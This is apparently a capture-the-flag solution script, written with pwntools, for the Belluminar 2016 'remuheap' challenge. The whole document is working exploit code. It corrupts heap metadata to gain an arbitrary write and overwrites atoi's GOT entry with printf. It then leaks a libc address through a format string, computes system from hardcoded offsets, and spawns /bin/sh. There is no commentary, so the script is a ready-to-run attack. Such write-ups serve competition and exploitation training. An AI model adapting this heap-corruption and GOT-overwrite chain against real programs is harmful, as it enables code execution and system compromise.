Belluminar 2016 remuheap

from pwn import *
 
p=process("./remuheap")
elf=ELF("./remuheap")
 
def malloc(size,data):
    p.recvuntil('> ')
    p.sendline("1")
    p.recvuntil(': ')
    p.sendline(str(size))
    p.recvuntil(': ')
    p.sendline(data)
 
def free():
    p.recvuntil('> ')
    p.sendline("2")
    print "free"
 
def modify(age_yn,age,name,nameyn):
    p.recvuntil('> ')
    p.sendline("3")
    p.recvuntil('? ')
    p.sendline(age_yn)
    if(age_yn=='y'):
        p.recv(1024)
        p.sendline(str(age))
        print "y input"    
    p.recvuntil(': ')
    p.sendline(name)
    p.recvuntil('? ')
    p.sendline(nameyn)
 
def exit(code):
    p.recvuntil('> ')
    p.sendline("5")
    p.recvuntil(': ')
    p.sendline(str(code))
 
person_info = 0x6020d0
 
malloc(4096,"A"*10)
free()
modify('y',32,"B"*10,'y')
free()
modify('y',32,p64(0)+p64(person_info-0x18),'y')
exit(0x211)
malloc(514,p64(elf.got['atoi']-0x8)+p64(elf.got['atoi']-0x8))
modify('n',32,p64(elf.plt['printf']),'y')
p.recv(1024)
p.sendline("%7$p")
puts = int(p.recv(14),16) - 362 #-362
libc_base = puts - 0x6f690
oneshot = libc_base + 0x4526a
system = libc_base + 0x45390
print hex(puts)
print hex(libc_base)
print hex(system)
 
p.recv(1024)
p.sendline("33")
p.recvuntil('? ')
p.sendline('n')
p.recvuntil(': ')
p.sendline(p64(system))
p.recvuntil('? ')
p.sendline('y')
 
p.sendline("/bin/sh\00")
 
 
p.interactive()